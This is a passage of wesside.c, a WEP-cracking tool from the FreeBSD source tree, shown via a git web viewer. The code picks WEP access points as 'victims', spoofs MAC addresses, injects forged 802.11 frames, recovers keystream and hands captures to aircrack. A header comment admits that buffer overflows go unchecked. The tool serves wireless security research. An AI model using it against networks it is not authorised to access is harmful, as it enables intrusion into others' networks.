]> CyberLeo.Net >> Repos - FreeBSD/releng/10.2.git/blob - tools/tools/net80211/wesside/wesside/wesside.c
- Copy stable/10@285827 to releng/10.2 in preparation for 10.2-RC1
[FreeBSD/releng/10.2.git] / tools / tools / net80211 / wesside / wesside / wesside.c
1 /*
2  * wep owner by sorbo <sorbox@yahoo.com>
3  * Aug 2005
4  *
5  * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6  * overflows.  this whole thing is experimental n e way.
7  *
8  * $FreeBSD$
9  */
10
11 #include <sys/types.h>
12 #include <sys/socket.h>
13 #include <sys/ioctl.h>
14 #include <sys/endian.h>
15 #include <sys/stat.h>
16 #include <sys/wait.h>
17 #include <sys/uio.h>
18 #include <net/if.h>
19 #include <net/if_media.h>
20 #include <net/if_llc.h>
21 #include <net/if_arp.h>
22 #include <net/if_types.h>
23 #include <net/if_dl.h>
24 #include <net/bpf.h>
25 #include <net/ethernet.h>
26 #include <net80211/ieee80211.h>
27 #include <net80211/ieee80211_ioctl.h>
28 #include <net80211/ieee80211_radiotap.h>
29 #include <net80211/ieee80211_freebsd.h>
30 #include <netinet/in.h>
31 #include <netinet/in_systm.h>
32 #include <netinet/ip.h>
33 #include <netinet/udp.h>
34 #include <arpa/inet.h>
35 #include <stdlib.h>
36 #include <stdio.h>
37 #include <unistd.h>
38 #include <string.h>
39 #include <fcntl.h>
40 #include <errno.h>
41 #include <assert.h>
42 #include <zlib.h>
43 #include <signal.h>
44 #include <stdarg.h>
45 #include <err.h>
46 #include <pcap.h>
47
48 #include "aircrack-ptw-lib.h"
49
50 #define FIND_VICTIM             0
51 #define FOUND_VICTIM            1
52 #define SENDING_AUTH            2
53 #define GOT_AUTH                3
54 #define SPOOF_MAC               4
55 #define SENDING_ASSOC           5
56 #define GOT_ASSOC               6
57
58 int state = 0;
59
60 struct timeval arpsend;
61
62 struct tx_state {
63         int waiting_ack;
64         struct timeval tsent;
65         int retries;
66         unsigned int psent;
67 } txstate;
68
69 struct chan_info {
70         int s;
71         struct ieee80211req ireq;
72         int chan;
73 } chaninfo;
74
75 struct victim_info {
76         char* ssid;
77         int chan;
78         char bss[6];
79 } victim;
80
81 struct frag_state {
82         struct ieee80211_frame wh;
83         unsigned char* data;
84         int len;
85         unsigned char* ptr;
86         int waiting_relay;
87         struct timeval last;
88 } fragstate;
89
90 struct prga_info {
91         unsigned char* prga;
92         unsigned int len;
93         unsigned char iv[3];
94 } prgainfo;
95
96 struct decrypt_state {
97         unsigned char* cipher;
98         int clen;
99         struct prga_info prgainfo;
100         struct frag_state fragstate;
101 } decryptstate;
102
103 struct wep_log {
104         unsigned int packets;
105         unsigned int rate;
106         int fd;
107         unsigned char iv[3];
108 } weplog;
109
110 #define LINKTYPE_IEEE802_11     105
111 #define TCPDUMP_MAGIC           0xA1B2C3D4
112
113 unsigned char* floodip = 0;
114 unsigned short floodport = 6969;
115 unsigned short floodsport = 53;
116
117 unsigned char* netip = 0;
118 int netip_arg = 0;
119 int max_chan = 11;
120
121 unsigned char* rtrmac = 0;
122
123 unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
124 unsigned char myip[16] = "192.168.0.123";
125
126 int bits = 0;
127 int ttl_val = 0;
128
129 PTW_attackstate *ptw;
130
131 unsigned char *victim_mac = 0;
132
133 int ack_timeout = 100*1000;
134
135 #define ARPLEN (8+ 8 + 20)
136 unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
137 unsigned char ip_clear[] =  "\xAA\xAA\x03\x00\x00\x00\x08\x00";
138 #define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
139 #define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
140 #define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
141
142 #define MCAST_PREF "\x01\x00\x5e\x00\x00"
143
144 #define WEP_FILE "wep.cap"
145 #define KEY_FILE "key.log"
146 #define PRGA_FILE "prga.log"
147
148 unsigned int min_prga =  128;
149
150 /*
151  * When starting aircrack we try first to use a
152  * local copy, falling back to where the installed
153  * version is expected.
154  * XXX builtin pathnames
155  */
156 #define CRACK_LOCAL_CMD "../aircrack/aircrack"
157 #define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
158
159 #define INCR 10000
160 int thresh_incr = INCR;
161
162 #define MAGIC_TTL_PAD 69
163
164 int crack_dur = 60;
165 int wep_thresh = INCR;
166 int crack_pid = 0;
167 struct timeval crack_start;
168 struct timeval real_start;
169
170 /* linksys does this.  The hardware pads small packets. */
171 #define PADDED_ARPLEN 54
172
173 #define PRGA_LEN (1500-14-20-8)
174 unsigned char inet_clear[8+20+8+PRGA_LEN+4];
175
176 #define DICT_PATH "dict"
177 #define TAP_DEV "/dev/tap3"
178 unsigned char tapdev[16];
179 unsigned char taptx[4096];
180 unsigned int taptx_len = 0;
181 int tapfd = -1;
182
183 /********** RIPPED
184 ************/ 
185 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
186   register long sum;
187   u_short oddbyte;
188   register u_short answer;
189
190   sum = 0;
191   while (nbytes > 1)
192     {
193       sum += *ptr++;
194       nbytes -= 2;
195     }
196
197   if (nbytes == 1)
198     {
199       oddbyte = 0;
200       *((u_char *) & oddbyte) = *(u_char *) ptr;
201       sum += oddbyte;
202     }
203
204   sum = (sum >> 16) + (sum & 0xffff);
205   sum += (sum >> 16);
206   answer = ~sum;
207   return (answer);
208 }
209 /**************
210 ************/
211
212 unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
213                           struct in_addr *dip) {
214         unsigned char *tmp;
215         struct ippseudo *ph;
216
217         tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
218         if(!tmp)
219                 err(1, "malloc()");
220
221         ph = (struct ippseudo*) tmp;
222
223         memcpy(&ph->ippseudo_src, sip, 4);
224         memcpy(&ph->ippseudo_dst, dip, 4);
225         ph->ippseudo_pad =  0;
226         ph->ippseudo_p = IPPROTO_UDP;
227         ph->ippseudo_len = htons(len);
228
229         memcpy(tmp + sizeof(struct ippseudo), stuff, len);
230
231         return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
232 }
233
234 void time_print(char* fmt, ...) {
235         va_list ap;
236         char lame[1024];
237         time_t tt;
238         struct tm *t;
239
240         va_start(ap, fmt);
241         vsnprintf(lame, sizeof(lame), fmt, ap);
242         va_end(ap);
243
244         tt = time(NULL);
245
246         if (tt == (time_t)-1) {
247                 perror("time()");
248                 exit(1);
249         }
250
251         t = localtime(&tt);
252         if (!t) {
253                 perror("localtime()");
254                 exit(1);
255         }
256
257         printf("[%.2d:%.2d:%.2d] %s", 
258                t->tm_hour, t->tm_min, t->tm_sec, lame);
259 }
260
261 void check_key() {
262         char buf[1024];
263         int fd;
264         int rd;
265         struct timeval now;
266
267         fd = open(KEY_FILE, O_RDONLY);
268
269         if (fd == -1) {
270                 return;
271         }
272
273         rd = read(fd, buf, sizeof(buf) -1);
274         if (rd == -1) {
275                 perror("read()");
276                 exit(1);
277         }
278
279         buf[rd] = 0;
280
281         close(fd);
282
283         printf ("\n\n");
284         time_print("KEY=(%s)\n", buf);
285
286         if (gettimeofday(&now, NULL) == -1) {
287                 perror("gettimeofday()");
288                 exit(1);
289         }
290
291         printf ("Owned in %.02f minutes\n", 
292                 ((double) now.tv_sec - real_start.tv_sec)/60.0);
293         exit(0);
294 }
295
296 void kill_crack() {
297         if (crack_pid == 0)
298                 return;
299
300         printf("\n");
301         time_print("Stopping crack PID=%d\n", crack_pid);
302
303         // XXX doesn't return -1 for some reason! [maybe on my box... so it
304         // might be buggy on other boxes...]
305         if (kill(crack_pid, SIGINT) == -1) {
306                 perror("kill()");
307                 exit(1);
308         }
309
310         crack_pid = 0;
311
312         check_key();
313 }
314
315 void cleanup(int x) {
316         time_print("\nDying...\n");
317
318         if (weplog.fd)
319                 close(weplog.fd);
320
321         kill_crack();
322
323         exit(0);        
324 }
325
326 void set_chan(int c) {
327         if (c == chaninfo.chan)
328                 return;
329         
330         chaninfo.ireq.i_val = c;
331
332         if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
333                 perror("ioctl(SIOCS80211) [chan]");
334                 exit(1);
335         }
336         chaninfo.chan = c;
337 }
338
339 void set_if_mac(unsigned char* mac, unsigned char *name) {
340         int s;
341         struct ifreq ifr;
342         
343         s = socket(PF_INET, SOCK_DGRAM, 0);
344         if (s == -1) {
345                 perror("socket()");
346                 exit(1);
347         }
348
349         memset(&ifr, 0, sizeof(ifr));
350         strcpy(ifr.ifr_name, name);
351
352         ifr.ifr_addr.sa_family = AF_LINK;
353         ifr.ifr_addr.sa_len = 6;
354         memcpy(ifr.ifr_addr.sa_data, mac, 6);
355
356         if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
357                 perror("ioctl(SIOCSIFLLADDR)");
358                 exit(1);
359         }
360
361         close(s);
362 }
363
364 void setup_if(char *dev) {
365         int s;
366         struct ifreq ifr;
367         unsigned int flags;
368         struct ifmediareq ifmr;
369         int *mwords;
370
371         if(strlen(dev) >= IFNAMSIZ) {
372                 time_print("Interface name too long...\n");
373                 exit(1);
374         }
375
376         time_print("Setting up %s... ", dev);
377         fflush(stdout);
378         
379         set_if_mac(mymac, dev);
380
381         s = socket(PF_INET, SOCK_DGRAM, 0);
382         if (s == -1) {
383                 perror("socket()");
384                 exit(1);
385         }
386
387         // set chan
388         memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
389         strcpy(chaninfo.ireq.i_name, dev);
390         chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
391         
392         chaninfo.chan = 0;
393         chaninfo.s = s;
394         set_chan(1);
395
396         // set iface up and promisc
397         memset(&ifr, 0, sizeof(ifr));
398         strcpy(ifr.ifr_name, dev);
399         if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
400                 perror("ioctl(SIOCGIFFLAGS)");
401                 exit(1);
402         }
403
404         flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
405         flags |= IFF_UP | IFF_PPROMISC;
406         
407         memset(&ifr, 0, sizeof(ifr));
408         strcpy(ifr.ifr_name, dev);
409         ifr.ifr_flags = flags & 0xffff;
410         ifr.ifr_flagshigh = flags >> 16;
411         if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
412                 perror("ioctl(SIOCSIFFLAGS)");
413                 exit(1);
414         }
415
416         printf("done\n");
417 }
418
419 int open_bpf(char *dev, int dlt) {
420         int i;
421         char buf[64];
422         int fd = -1;
423         struct ifreq ifr;
424
425         for(i = 0;i < 16; i++) {
426                 sprintf(buf, "/dev/bpf%d", i);
427         
428                 fd = open(buf, O_RDWR);
429                 if(fd < 0) {
430                         if(errno != EBUSY) {
431                                 perror("can't open /dev/bpf");
432                                 exit(1);
433                         }
434                         continue;
435                 }
436                 else
437                         break;
438         }
439
440         if(fd < 0) {
441                 perror("can't open /dev/bpf");
442                 exit(1);
443         }
444
445         strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
446         ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
447
448         if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
449                 perror("ioctl(BIOCSETIF)");
450                 exit(1);
451         }
452
453         if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
454                 perror("ioctl(BIOCSDLT)");
455                 exit(1);
456         }
457
458         i = 1;
459         if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
460                 perror("ioctl(BIOCIMMEDIATE)");
461                 exit(1);
462         }
463
464         return fd;
465 }
466
467 void hexdump(unsigned char *ptr, int len) {
468         while(len > 0) {
469                 printf("%.2X ", *ptr);
470                 ptr++; len--;
471         }
472         printf("\n");
473 }
474
475 char* mac2str(unsigned char* mac) {
476         static char ret[6*3];
477
478         sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
479                 mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
480
481         return ret;
482 }
483
484 void inject(int fd, void *buf, int len)
485 {
486         static struct ieee80211_bpf_params params = {
487                 .ibp_vers = IEEE80211_BPF_VERSION,
488                 /* NB: no need to pass series 2-4 rate+try */
489                 .ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
490                 .ibp_rate0 = 2,         /* 1 MB/s XXX */
491                 .ibp_try0 = 1,          /* no retransmits */
492                 .ibp_flags = IEEE80211_BPF_NOACK,
493                 .ibp_power = 100,       /* nominal max */
494                 .ibp_pri = WME_AC_VO,   /* high priority */
495         };
496         struct iovec iov[2];
497         int rc;
498
499         iov[0].iov_base = &params;
500         iov[0].iov_len = params.ibp_len;
501         iov[1].iov_base = buf;
502         iov[1].iov_len = len;
503         rc = writev(fd, iov, 2);
504         if(rc == -1) {
505                 perror("writev()");
506                 exit(1);
507         }
508         if (rc != (len + iov[0].iov_len)) {
509                 time_print("Error Wrote %d out of %d\n", rc,
510                            len+iov[0].iov_len);
511                 exit(1);
512         }
513 }
514
515 void send_frame(int tx, unsigned char* buf, int len) {
516         static unsigned char* lame = 0;
517         static int lamelen = 0;
518         static int lastlen = 0;
519
520         // retransmit!
521         if (len == -1) {
522                 txstate.retries++;
523
524                 if (txstate.retries > 10) {
525                         time_print("ERROR Max retransmists for (%d bytes):\n", 
526                                lastlen);
527                         hexdump(&lame[0], lastlen);
528 //                      exit(1);
529                 }
530                 len = lastlen;
531 //              printf("Warning doing a retransmit...\n");
532         }
533         // normal tx
534         else {
535                 assert(!txstate.waiting_ack);
536         
537                 if (len > lamelen) {
538                         if (lame)
539                                 free(lame);
540                 
541                         lame = (unsigned char*) malloc(len);
542                         if(!lame) {
543                                 perror("malloc()");
544                                 exit(1);
545                         }
546
547                         lamelen = len;
548                 }
549
550                 memcpy(lame, buf, len);
551                 txstate.retries = 0;
552                 lastlen = len;
553         }       
554
555         inject(tx, lame, len);
556
557         txstate.waiting_ack = 1;
558         txstate.psent++;
559         if (gettimeofday(&txstate.tsent, NULL) == -1) {
560                 perror("gettimeofday()");
561                 exit(1);
562         }
563
564 #if 0
565         printf("Wrote frame at %lu.%lu\n", 
566                txstate.tsent.tv_sec, txstate.tsent.tv_usec);
567 #endif         
568 }
569
570 unsigned short fnseq(unsigned short fn, unsigned short seq) {
571         unsigned short r = 0;
572
573         if(fn > 15) {
574                 time_print("too many fragments (%d)\n", fn);
575                 exit(1);
576         }
577
578         r = fn;
579
580         r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
581
582         return r;
583 }
584
585 void fill_basic(struct ieee80211_frame* wh) {
586         unsigned short* sp;
587
588         memcpy(wh->i_addr1, victim.bss, 6);
589         memcpy(wh->i_addr2, mymac, 6);
590         memcpy(wh->i_addr3, victim.bss, 6);
591
592         
593
594         sp = (unsigned short*) wh->i_seq;
595         *sp = fnseq(0, txstate.psent);
596
597         sp = (unsigned short*) wh->i_dur;
598         *sp = htole16(32767);
599 }
600
601 void send_assoc(int tx) {
602         unsigned char buf[128];
603         struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
604         unsigned char* body;
605         int ssidlen;
606
607         memset(buf, 0, sizeof(buf));
608         fill_basic(wh);
609         wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
610
611         body = (unsigned char*) wh + sizeof(*wh);
612         *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
613         // cap + interval
614         body += 2 + 2;
615
616         // ssid
617         *body++ = 0;
618         ssidlen = strlen(victim.ssid);
619         *body++ = ssidlen;
620         memcpy(body, victim.ssid, ssidlen);
621         body += ssidlen;
622
623         // rates
624         *body++ = 1;
625         *body++ = 4;
626         *body++ = 2;
627         *body++ = 4;
628         *body++ = 11;
629         *body++ = 22; 
630
631         send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 + 
632                             strlen(victim.ssid) + 2 + 4);
633 }
634
635 void wepify(unsigned char* body, int dlen) {
636         uLong crc;
637         unsigned long *pcrc;
638         int i;
639         
640         assert(dlen + 4 <= prgainfo.len);
641
642         // iv
643         memcpy(body, prgainfo.iv, 3);
644         body +=3;
645         *body++ = 0;
646
647         // crc
648         crc = crc32(0L, Z_NULL, 0);
649         crc = crc32(crc, body, dlen);
650         pcrc = (unsigned long*) (body+dlen);
651         *pcrc = crc;
652
653         for (i = 0; i < dlen +4; i++)
654                 *body++ ^= prgainfo.prga[i];
655 }
656
657 void send_auth(int tx) {
658         unsigned char buf[128];
659         struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
660         unsigned short* n;
661
662         memset(buf, 0, sizeof(buf));
663         fill_basic(wh);
664         wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
665
666         n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
667         n++;
668         *n = 1;
669
670         send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
671 }
672
673 int get_victim_ssid(struct ieee80211_frame* wh, int len) {
674         unsigned char* ptr;
675         int x;
676         int gots = 0, gotc = 0;
677
678         if (len <= sizeof(*wh)) {
679                 time_print("Warning: short packet in get_victim_ssid()\n");
680                 return 0;
681         }
682
683         ptr = (unsigned char*)wh + sizeof(*wh);
684         len -= sizeof(*wh);
685
686         // only wep baby
687         if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
688                 return 0;
689         }
690
691         // we want a specific victim
692         if (victim_mac) {
693                 if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
694                         return 0;
695         }
696
697         // beacon header
698         x = 8 + 2 + 2;
699         if (len <= x) {
700                 time_print("Warning short.asdfasdf\n");
701                 return 0;
702         }
703
704         ptr += x;
705         len -= x;
706
707         // SSID
708         while(len > 2) {
709                 int eid, elen;
710
711                 eid = *ptr;
712                 ptr++;
713                 elen = *ptr;
714                 ptr++;
715                 len -= 2;
716
717                 if (len < elen) {
718                         time_print("Warning short....\n");
719                         return 0;
720                 }
721                 
722                 // ssid
723                 if (eid == 0) {
724                         if (victim.ssid)
725                                 free(victim.ssid);
726                 
727                         victim.ssid = (char*) malloc(elen + 1);
728                         if (!victim.ssid) {
729                                 perror("malloc()");
730                                 exit(1);
731                         }
732                 
733                         memcpy(victim.ssid, ptr, elen);
734                         victim.ssid[elen] = 0;
735                         gots = 1;
736
737                 } 
738                 // chan
739                 else if(eid == 3) {
740                         if( elen != 1) {
741                                 time_print("Warning len of chan not 1\n");
742                                 return 0;
743                         }
744
745                         victim.chan = *ptr;
746                         gotc = 1;
747                 }
748
749                 ptr += elen;
750                 len -= elen;
751         }
752
753         if (gots && gotc) {
754                 memcpy(victim.bss, wh->i_addr3, 6);
755                 set_chan(victim.chan);
756                 state = FOUND_VICTIM;
757                 time_print("Found SSID(%s) BSS=(%s) chan=%d\n", 
758                        victim.ssid, mac2str(victim.bss), victim.chan);
759                 return 1;
760         }       
761         return 0;
762 }
763
764 void send_ack(int tx) {
765         /* firmware acks */
766 }
767
768 void do_llc(unsigned char* buf, unsigned short type) {
769         struct llc* h = (struct llc*) buf;
770
771         memset(h, 0, sizeof(*h));
772         h->llc_dsap = LLC_SNAP_LSAP;
773         h->llc_ssap = LLC_SNAP_LSAP;
774         h->llc_un.type_snap.control = 3;
775         h->llc_un.type_snap.ether_type = htons(type);
776 }
777
778 void calculate_inet_clear() {
779         struct ip* ih;
780         struct udphdr* uh;
781         uLong crc;
782         unsigned long *pcrc;
783         int dlen;
784
785         memset(inet_clear, 0, sizeof(inet_clear));
786
787         do_llc(inet_clear, ETHERTYPE_IP);
788
789         ih = (struct ip*) &inet_clear[8];
790         ih->ip_hl = 5;
791         ih->ip_v = 4;
792         ih->ip_tos = 0;
793         ih->ip_len = htons(20+8+PRGA_LEN);
794         ih->ip_id = htons(666);
795         ih->ip_off = 0;
796         ih->ip_ttl = ttl_val;
797         ih->ip_p = IPPROTO_UDP;
798         ih->ip_sum = 0;
799         inet_aton(floodip, &ih->ip_src);
800         inet_aton(myip, &ih->ip_dst);
801         ih->ip_sum = in_cksum((unsigned short*)ih, 20);
802
803         uh = (struct udphdr*) ((char*)ih + 20);
804         uh->uh_sport = htons(floodport);
805         uh->uh_dport = htons(floodsport);
806         uh->uh_ulen = htons(8+PRGA_LEN);
807         uh->uh_sum = 0;
808         uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
809                                   &ih->ip_src, &ih->ip_dst);
810
811         // crc
812         dlen = 8 + 20 + 8 + PRGA_LEN;
813         assert (dlen + 4 <= sizeof(inet_clear));
814
815         crc = crc32(0L, Z_NULL, 0);
816         crc = crc32(crc, inet_clear, dlen);
817         pcrc = (unsigned long*) (inet_clear+dlen);
818         *pcrc = crc;
819
820 #if 0
821         printf("INET %d\n", sizeof(inet_clear));
822         hexdump(inet_clear, sizeof(inet_clear));
823 #endif  
824 }
825
826 void set_prga(unsigned char* iv, unsigned char* cipher, 
827               unsigned char* clear, int len) {
828
829         int i;
830         int fd;
831
832         if (prgainfo.len != 0)
833                 free(prgainfo.prga);
834         
835         prgainfo.prga = (unsigned char*) malloc(len);
836         if (!prgainfo.prga) {
837                 perror("malloc()");
838                 exit(1);
839         }
840
841         prgainfo.len = len;
842         memcpy(prgainfo.iv, iv, 3);
843         
844         for (i = 0; i < len; i++) {
845                 prgainfo.prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
846                                                 clear[i]);
847         }       
848
849         time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=", 
850                prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
851         hexdump(prgainfo.prga, prgainfo.len);
852
853         if (!cipher)
854                 return;
855
856         fd = open(PRGA_FILE, O_WRONLY | O_CREAT, 
857                   S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
858
859         if (fd == -1) {
860                 perror("open()");
861                 exit(1);
862         }
863
864         i = write(fd, prgainfo.iv, 3);
865         if (i == -1) {
866                 perror("write()");
867                 exit(1);
868         }
869         if (i != 3) {
870                 printf("Wrote %d out of %d\n", i, 3);
871                 exit(1);
872         }
873
874         i = write(fd, prgainfo.prga, prgainfo.len);
875         if (i == -1) {
876                 perror("write()");
877                 exit(1);
878         }
879         if (i != prgainfo.len) {
880                 printf("Wrote %d out of %d\n", i, prgainfo.len);
881                 exit(1);
882         }
883
884         close(fd);
885 }
886
887
888 void log_dictionary(unsigned char* body, int len) {
889         char paths[3][3];
890         int i, rd;
891         int fd;
892         unsigned char path[128];
893         unsigned char file_clear[sizeof(inet_clear)];
894         unsigned char* data;
895
896         len -= 4; // IV etc..
897         assert (len == sizeof(inet_clear));
898
899         data = body +4;
900         
901         if (len > prgainfo.len)
902                 set_prga(body, data, inet_clear, len);
903
904         
905         for (i = 0; i < 3; i++) 
906                 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
907
908
909         strcpy(path, DICT_PATH);
910
911
912         // first 2 bytes
913         for (i = 0; i < 2; i++) {
914                 strcat(path, "/");
915                 strcat(path, paths[i]);
916                 fd = open(path, O_RDONLY);
917                 if (fd == -1) {
918                         if (errno != ENOENT) {
919                                 perror("open()");
920                                 exit(1);
921                         }
922
923                         if (mkdir(path, 0755) == -1) {
924                                 perror("mkdir()");
925                                 exit(1);
926                         }
927                 }
928                 else
929                         close(fd);
930         }
931
932         // last byte
933         strcat(path, "/");
934         strcat(path, paths[2]);
935
936         fd = open(path, O_RDWR);
937         // already exists... see if we are consistent...
938         if (fd != -1) {
939                 rd = read(fd, file_clear, sizeof(file_clear));
940
941                 if (rd == -1) {
942                         perror("read()");
943                         exit(1);
944                 }
945
946                 // check consistency....
947                 for (i = 0; i < rd; i++) {
948                         if (file_clear[i] != 
949                             (data[i] ^ inet_clear[i])) {
950                         
951                                 printf("Mismatch in byte %d for:\n", i);
952                                 hexdump(body, len+4);
953                                 exit(1);
954                         }    
955                 }
956
957                 // no need to log
958                 if (i >= sizeof(inet_clear)) {
959 #if 0           
960                         time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
961                                 body[0], body[1], body[2]);
962 #endif                          
963                         close(fd);
964                         return;
965                 }
966         
967                 // file has less... fd still open
968                 
969         } else {
970                 fd = open(path, O_WRONLY | O_CREAT, 0644);
971                 if (fd == -1) {
972                         printf("Can't open (%s): %s\n", path,
973                                strerror(errno));
974                         exit(1);
975                 }
976         }
977
978         assert (sizeof(file_clear) >= sizeof(inet_clear));
979
980         for(i = 0; i < len; i++)
981                 file_clear[i] = data[i] ^ inet_clear[i];
982
983         rd = write(fd, file_clear, len);
984         if (rd == -1) {
985                 perror("write()");
986                 exit(1);
987         }
988         if (rd != len) {
989                 printf("Wrote %d of %d\n", rd, len);
990                 exit(1);
991         }
992         close(fd);
993 }
994
995 void stuff_for_us(struct ieee80211_frame* wh, int len) {
996         int type,stype;
997         unsigned char* body;
998
999         type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1000         stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1001
1002         body = (unsigned char*) wh + sizeof(*wh);
1003
1004         // CTL
1005         if (type == IEEE80211_FC0_TYPE_CTL) {
1006                 if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1007                         txstate.waiting_ack = 0;
1008                         return;
1009                 }
1010
1011                 if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1012                         return;
1013                 }
1014
1015                 if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1016                         return;
1017                 }
1018                 time_print ("got CTL=%x\n", stype);
1019                 return;
1020         }
1021
1022         // MGM
1023         if (type == IEEE80211_FC0_TYPE_MGT) {
1024                 if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1025                         unsigned short* rc = (unsigned short*) body;
1026                         printf("\n");
1027                         time_print("Got deauth=%u\n", le16toh(*rc));
1028                         state = FOUND_VICTIM;
1029                         return;
1030                         exit(1);
1031                 }
1032                 else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1033                         unsigned short* sc = (unsigned short*) body;
1034
1035                         if (*sc != 0) {
1036                                 time_print("Warning got auth algo=%x\n", *sc);
1037                                 exit(1);
1038                                 return;
1039                         }
1040                         sc++;
1041
1042                         if (*sc != 2) {
1043                                 time_print("Warning got auth seq=%x\n", *sc);
1044                                 return;
1045                         }
1046
1047                         sc++;
1048
1049                         if (*sc == 1) {
1050                                 time_print("Auth rejected... trying to spoof mac.\n");
1051                                 state = SPOOF_MAC;
1052                                 return;
1053                         }
1054                         else if (*sc == 0) {
1055                                 time_print("Authenticated\n");
1056                                 state = GOT_AUTH;
1057                                 return;
1058                         }
1059                         else {
1060                                 time_print("Got auth %x\n", *sc);
1061                                 exit(1);
1062                         }       
1063                 }
1064                 else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1065                         unsigned short* sc = (unsigned short*) body;
1066                         sc++; // cap
1067
1068                         if (*sc == 0) {
1069                                 sc++;
1070                                 unsigned int aid = le16toh(*sc) & 0x3FFF;
1071                                 time_print("Associated (ID=%x)\n", aid);
1072                                 state = GOT_ASSOC;
1073                                 return;
1074                         } else if (*sc == 12) {
1075                                 time_print("Assoc rejected..."
1076                                            " trying to spoof mac.\n");
1077                                 state = SPOOF_MAC;
1078                                 return;
1079                         } else {
1080                                 time_print("got assoc %x\n", *sc);
1081                                 exit(1);
1082                         }
1083                 } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1084                         return;
1085                 }
1086
1087                 time_print("\nGOT MAN=%x\n", stype);
1088                 exit(1);
1089         }
1090
1091         if (type == IEEE80211_FC0_TYPE_DATA && 
1092             stype == IEEE80211_FC0_SUBTYPE_DATA) {
1093                 int dlen;
1094                 dlen = len - sizeof(*wh) - 4 -4;
1095
1096                 if (!( wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) {
1097                         time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1098                                    mac2str(wh->i_addr2), dlen, stype);
1099                                    return;
1100                 }
1101
1102                 assert (wh->i_fc[1] & IEEE80211_FC1_PROTECTED);
1103
1104                 if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1105                         rtrmac = (unsigned char *) malloc(6);
1106                         if (!rtrmac) {
1107                                 perror("malloc()");
1108                                 exit(1);
1109                         }
1110
1111                         assert( rtrmac > (unsigned char*) 1);
1112
1113                         memcpy (rtrmac, wh->i_addr3, 6);
1114                         time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1115
1116                         return;
1117                 }
1118 #if 0
1119                 // check if its a TTL update from dictionary stuff
1120                 if (dlen >= (8+20+8+MAGIC_TTL_PAD) && 
1121                     dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1122                         int ttl_delta, new_ttl;
1123                         
1124                         ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1125                         new_ttl = 128 - ttl_delta;
1126
1127                         if (ttl_val && new_ttl != ttl_val) {
1128                                 time_print("oops. ttl changed from %d to %d\n",
1129                                            ttl_val, new_ttl);
1130                                 exit(1);           
1131                         }
1132
1133                         if (!ttl_val) {
1134                                 ttl_val = new_ttl;
1135                                 printf("\n");
1136                                 time_print("Got TTL of %d\n", ttl_val);
1137                                 calculate_inet_clear();
1138                         }
1139                 }
1140
1141                 // check if its dictionary data
1142                 if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1143                         log_dictionary(body, len - sizeof(*wh));
1144                 }
1145 #endif          
1146         }
1147
1148 #if 0
1149         printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1150                 type, stype, mac2str(wh->i_addr2), len);
1151 #endif          
1152 }
